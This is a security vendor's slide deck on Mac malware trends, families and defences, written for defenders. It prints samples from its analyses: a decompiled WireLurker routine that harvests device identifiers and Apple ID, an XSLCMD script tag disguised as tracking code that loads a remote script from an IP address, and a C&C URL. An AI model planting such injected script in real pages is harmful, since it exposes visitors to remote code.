Cyphort Labs Malware’s Most Wanted Series

Discover. Dissect. Destroy.
Mac Malware

@belogor

Hack Different.
Your speakers today

Nick Bilogorskiy
@belogor
Director of Security Research

Shel Sharma
Product Marketing Director
Agenda

- Mac Trends and Stats
- Mac Malware
- Mac Adware
- Wrap-up and Q&A
Threat Monitoring & Research team

24X7 monitoring for malware events

Assist customers with their Forensics and Incident Response

We enhance malware detection accuracy

False positives/negatives

Deep-dive research

We work with the security ecosystem

Contribute to and learn from malware KB

Best of 3rd Party threat data
Apple Reclaims Title of Most Valuable Brand
Brand value of the world's most valuable brands in 2015

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Apple</td>
<td>$246.99b</td>
<td></td>
<td>67%</td>
</tr>
<tr>
<td>Google</td>
<td></td>
<td>$173.65b</td>
<td>9%</td>
</tr>
<tr>
<td>Microsoft</td>
<td>$115.50b</td>
<td></td>
<td>28%</td>
</tr>
<tr>
<td>IBM</td>
<td>$93.99b</td>
<td></td>
<td>-13%</td>
</tr>
<tr>
<td>VISA</td>
<td>$91.96b</td>
<td></td>
<td>16%</td>
</tr>
<tr>
<td>AT&amp;T</td>
<td>$89.49b</td>
<td></td>
<td>15%</td>
</tr>
<tr>
<td>Verizon</td>
<td>$86.01b</td>
<td></td>
<td>36%</td>
</tr>
<tr>
<td>Coca-Cola</td>
<td>$83.84b</td>
<td></td>
<td>4%</td>
</tr>
<tr>
<td>McDonalds</td>
<td>$81.16b</td>
<td></td>
<td>-5%</td>
</tr>
<tr>
<td>Marlboro</td>
<td>$80.35b</td>
<td></td>
<td>19%</td>
</tr>
</tbody>
</table>

Source: Millward Brown, WPP
## Preliminary US PC Shipments 1Q15

<table>
<thead>
<tr>
<th></th>
<th>1Q15 Shipments</th>
<th>1Q15 Market Share</th>
<th>1Q14 Shipments</th>
<th>1Q14 Market Share</th>
<th>1Q15/1Q14 Growth</th>
</tr>
</thead>
<tbody>
<tr>
<td>HP</td>
<td>3,627</td>
<td>26.1</td>
<td>3,504</td>
<td>24.9</td>
<td>3.5</td>
</tr>
<tr>
<td>Dell</td>
<td>3,227</td>
<td>23.2</td>
<td>3,355</td>
<td>23.8</td>
<td>-3.8</td>
</tr>
<tr>
<td>Apple</td>
<td>1,670</td>
<td>12.0</td>
<td>1,534</td>
<td>10.9</td>
<td>8.9</td>
</tr>
<tr>
<td>Lenovo</td>
<td>1,645</td>
<td>11.8</td>
<td>1,449</td>
<td>10.3</td>
<td>13.5</td>
</tr>
<tr>
<td>ASUS</td>
<td>996</td>
<td>7.2</td>
<td>899</td>
<td>6.4</td>
<td>10.8</td>
</tr>
<tr>
<td>Others</td>
<td>2,730</td>
<td>19.6</td>
<td>3,340</td>
<td>23.7</td>
<td>-18.3</td>
</tr>
<tr>
<td>Total</td>
<td>13,895</td>
<td>100.0</td>
<td>14,080</td>
<td>100.0</td>
<td>-1.3</td>
</tr>
</tbody>
</table>

*Gartner's Preliminary U.S. PC Vendor Unit Shipment Estimates for 1Q15 (Thousands of Units)*
Mac Growth

Apple's U.S. Market Share Trend: 1Q06-1Q15 (Gartner)
1 in 6 Macs actively protected by an antivirus program
Mac Malware on the Rise

Number of malicious Mac OS X files
(Kaspersky Lab database)

- 2003: 1
- 2004: 21
- 2005: 189
- 2006: 29
- 2007: 40
- 2008: 62
- 2009: 39
- 2010: 50
- 2011: 1147
- 2012: 551
- 2013: 1699
- 2014*: 1800

Kaspersky data
Cyphort In-the-Wild Mac Stats

Cyphort In-the-Wild Mac Stats

- Adware: 73%
- Unknown: 21%
- Trojans: 6%

Cyphort Labs data
After analyzing the compromised website where the attack originated, we found it was using a "zero-day" (previously unseen) exploit to bypass the Java sandbox (built-in protections) to install the malware. We immediately reported the exploit to Oracle, and they confirmed our findings and provided a patch on February 1, 2013, that addresses this vulnerability.
MAC MALWARE

Hack Different.
## Mac Malware Timeline

<table>
<thead>
<tr>
<th>Year</th>
<th>Malware</th>
</tr>
</thead>
<tbody>
<tr>
<td>2014</td>
<td>Careto, Mask, Appetite</td>
</tr>
<tr>
<td>2014</td>
<td>CoinThief</td>
</tr>
<tr>
<td>2014</td>
<td>Laoshu</td>
</tr>
<tr>
<td>2014</td>
<td>Ventir</td>
</tr>
<tr>
<td>2014</td>
<td>XSLCMD aka Belfibod</td>
</tr>
<tr>
<td>2014</td>
<td>Wirelurker</td>
</tr>
<tr>
<td>2013</td>
<td>Pintsized</td>
</tr>
<tr>
<td>2013</td>
<td>Kitmos</td>
</tr>
<tr>
<td>2013</td>
<td>Icefog</td>
</tr>
<tr>
<td>2013</td>
<td>Hackback</td>
</tr>
<tr>
<td>2013</td>
<td>CallMe</td>
</tr>
<tr>
<td>2013</td>
<td>Leverage</td>
</tr>
<tr>
<td>2012</td>
<td>Sabpab</td>
</tr>
<tr>
<td>2012</td>
<td>Rubilyn</td>
</tr>
<tr>
<td>2012</td>
<td>Maccontrol</td>
</tr>
<tr>
<td>2012</td>
<td>Lamadai</td>
</tr>
<tr>
<td>2012</td>
<td>Dockster</td>
</tr>
<tr>
<td>2012</td>
<td>Crisis/Morcut/Da Vinci</td>
</tr>
<tr>
<td>2011</td>
<td>Tsunami/Kaiten</td>
</tr>
<tr>
<td>2011</td>
<td>Imuler/Revir</td>
</tr>
<tr>
<td>2011</td>
<td>Olyx</td>
</tr>
<tr>
<td>2011</td>
<td>MacDefender</td>
</tr>
<tr>
<td>2011</td>
<td>Flashback</td>
</tr>
<tr>
<td>2011</td>
<td>Devilrobber (Miner)</td>
</tr>
<tr>
<td>2011</td>
<td>Blackhole/DarkComet</td>
</tr>
<tr>
<td>2010</td>
<td>HellRaiser</td>
</tr>
<tr>
<td>2010</td>
<td>OpinionSpy</td>
</tr>
<tr>
<td>2010</td>
<td>Boonana / Koobface</td>
</tr>
<tr>
<td>2009</td>
<td>Tored</td>
</tr>
<tr>
<td>2009</td>
<td>Krowi / IWork</td>
</tr>
<tr>
<td>2008</td>
<td>MacSweep</td>
</tr>
<tr>
<td>2008</td>
<td>Imunizator</td>
</tr>
<tr>
<td>2008</td>
<td>Lamzev</td>
</tr>
<tr>
<td>2007</td>
<td>Puper (RSPlug, Jahlav)</td>
</tr>
<tr>
<td>2006</td>
<td>Inqtana</td>
</tr>
<tr>
<td>2006</td>
<td>Leap</td>
</tr>
<tr>
<td>2004</td>
<td>Opener/Renepo</td>
</tr>
</tbody>
</table>
Boonana - 2010

Sent

Select: All, Read, None

**Alice**  
October 25 at 1:33am

**Carrie**  
October 25 at 1:32am

**Pete**  
October 25 at 1:29am

**Trudy**  
October 25 at 1:28am

**Will**  
October 25 at 1:25am

**Amy**  
October 25 at 1:23am

**IMPORTANT! PLEASE READ**
Hi Alice [redacted]. As you are on my friends list you should see my private vi...

**IMPORTANT! PLEASE READ**
Hi Carrie [redacted]. Is this you in this video here: hoklane.netau.net

**IMPORTANT! PLEASE READ**
Hi Peter [redacted]. As you are on my friends list you should see my private vide...

**IMPORTANT! PLEASE READ**
Hi Trudy [redacted]. Is this you in this video here: hoklane.netau.net

**IMPORTANT! PLEASE READ**
Hi Will [redacted]. As you are on my friends list you should see my private video...

**IMPORTANT! PLEASE READ**
Hi Amy [redacted]. Please visit this link for some private videos of me: hokli...
Flashback - 2011

Image by Amanda Stewart, MirCon2014
Crisis

- Objective-C used to code OSX.Crisis (2012)
- Rootkit used by governments during targeted attacks
- Collects audio, pictures, screenshots, keystrokes
- Reports everything to a remote server
- Known to be delivered through grey market exploits
Ventir contains a keylogger, Trojan and a backdoor

- Discovered in October 2014.
- Similar to OSX/Crisis malware
C&C server:
- http://220.175.13.250:82

It issues an HTTP GET request in the following format:
WireLurker

- 467 OS X applications on the Maiyadi App Store
- 356,104 downloads
- Attacks iOS devices through OS X via USB and to install third-party applications on non-jailbroken iOS devices through enterprise provisioning
<table>
<thead>
<tr>
<th>WireLurker Infected Application</th>
<th>Number of Downloads</th>
</tr>
</thead>
<tbody>
<tr>
<td>The Sims 3</td>
<td>42,110</td>
</tr>
<tr>
<td>International Snooker 2012</td>
<td>22,353</td>
</tr>
<tr>
<td>Pro Evolution Soccer 2014</td>
<td>20,800</td>
</tr>
<tr>
<td>Bejeweled 3</td>
<td>19,016</td>
</tr>
<tr>
<td>Angry Birds</td>
<td>14,009</td>
</tr>
<tr>
<td>Spider 3</td>
<td>12,745</td>
</tr>
<tr>
<td>NBA 2K13</td>
<td>11,113</td>
</tr>
<tr>
<td>GRID</td>
<td>10,820</td>
</tr>
<tr>
<td>Battlefield: Bad Company 2</td>
<td>8,065</td>
</tr>
<tr>
<td>Two Worlds II Game of the Year Edition</td>
<td>6,451</td>
</tr>
</tbody>
</table>
This is the part of WireLurker that scrapes phone number, serial number, and your iTunes Store ID from your phone.

```c
33 LODWORD(v2) = getdeviceinfo(a1, OLL, "SerialNumber");
34 v3 = v2;
35 LODWORD(v4) = getdeviceinfo(a1, OLL, "PhoneNumber");
36 v5 = v4;
37 LODWORD(v6) = getdeviceinfo(a1, OLL, "ModelNumber");
38 v7 = v6;
39 LODWORD(v8) = getdeviceinfo(a1, OLL, "ProductVersion");
40 v9 = v8;
41 v10 = v8;
42 LODWORD(v11) = getdeviceinfo(a1, OLL, "ProductType");
43 v12 = v11;
44 v13 = v11;
45 LODWORD(v14) = getdeviceinfo(a1, "com.apple.itunesstored", "AppleID");
46 v15 = v14;
47 v16 = v14;
48 v17 = GetHardwareSerialNumber();
```
XSLCMD

- Discovered in 2014
- Ported OSX version of XSLCmd windows malware
- By "GREF"

```html
<!--- Google Tracking Code --->
<script type="text/javascript">
document.write(unescape("%3Cscript src='" + gaJsHost + "180.149.252.181/wiki/tiwiki.ashx' type='text/javascript'%3E%3C/script%3E"));
```
XSLCMD Capabilities

- Creates a remote shell
- Updates the configuration
- Traverses file systems
- Downloads files
- Creates new processes
- Captures screenshots
- Logs keystrokes
- Steals document files
- Lists applications
- Collects system information
Laoshu

- Takes screenshots once a minute
- Signed with a trusted certificate of the developer
- Looks like the virus writers were planning on uploading it to the App Store
First bitcoin-stealing malware for OS X
- Disguises itself as a few open source bitcoin utilities
- Install a malicious browser extension and/or a patched version of bitcoin-qt (an open source utility for mining bitcoins)
Mac Malware Trends

- Decoys (Show image while run in the background)
  - App disguised as a JPEG
- Primary focus is on Data Theft
  - Key logging
  - Screen Shots
  - User information
- Adware is very popular
- Backdoors and Rootkits are rare but mainly used in targeted attacks
Toolbar OSX.Conduit

- MD5: dc982d1f0415682e2735d45e83dff17e
- Toolbar, browser hijacker and data stealer
- OSX is not immune – Safari is just as much a target as Windows based browsers
OSX – Genieo

- MD5: 11f085fdfca46a4b446760a0e68dc2c3
- Browser Hijacker
Secure Your Mac: XProtect

"HellRaiser Server 4.2" will damage your computer. You should move it to the Trash.
It contains the "OSX.HellRTS" malware.

☑ Report malware to Apple to protect other users

Safari downloaded this file today at 2:51 PM from www.example.com.

[Buttons: Cancel, Move to Trash]
Secure Your Mac: GateKeeper

Allow applications downloaded from:
- Mac App Store
- Mac App Store and identified developers
- Anywhere
Mac Tools

- “File” command - simple way to check architecture
- dtrace - comprehensive dynamic tracing framework
- otool - The otool command displays specified parts of object files or libraries.
- IdaPro - disassembler
- dmg2img - convert DMG files into the standard disk image format, IMG
Watch out for these Executable Filetypes

- DMG (App within a HFS container or “disk image”)
- PKG (App within a XAR container and package installer)
- Mach-O (Binary equivalent to a Windows EXE)
- AppleScripts (Used for Apple inter-application communication)
- Perl/Python/Bash Scripts
- Bourne-again Shell Scripts (Used in BSD based systems)
- Extensions (Safari, Chrome, FireFox)
Summary

- Mac share in the enterprise is growing
- Users have a false sense of security
- Some APT attacks added Mac-modules
- Mac Adware is prevalent
- Criminals will take advantage of the increasing popularity of Mac
- Mac Malware is a real threat and cannot be ignored
Thank You!

Twitter: @belogor

Previous MMW slides on http://cyphort.com/labs/malwares-wanted/
Cyphort Labs Malware’s Most Wanted Series

Discover. Dissect. Destroy.